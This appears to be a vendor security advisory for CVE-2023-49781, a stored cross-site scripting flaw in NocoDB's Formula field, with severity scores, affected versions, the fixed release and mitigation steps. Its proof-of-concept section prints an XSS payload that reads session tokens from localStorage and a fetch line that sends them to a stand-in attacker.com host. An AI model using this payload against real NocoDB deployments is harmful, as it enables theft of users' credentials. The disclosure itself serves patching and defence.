CVE-2023-49781 is a high-severity (CVSS 7.3) Cross-site Scripting (XSS) vulnerability in nocodb. A fix is available for nocodb — see the affected versions and patch details below.
NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-49781.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2023-49781 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
nocodbnpmDescription
Summary
A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.
Details
The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.
PoC
Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage
The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2')) to replace the alert and then steal the victims' credentials in their attacker.com website.
Impact
Stealing the credentials of NocoDB user that clicks the malicious link.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | nocodb | all versions | 0.202.9npm install nocodb@0.202.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nocodb, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nocodb to 0.202.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-49781 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2023-49781 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2023-49781. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2023-49781 in your dependencies?
O3 Security finds CVE-2023-49781 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.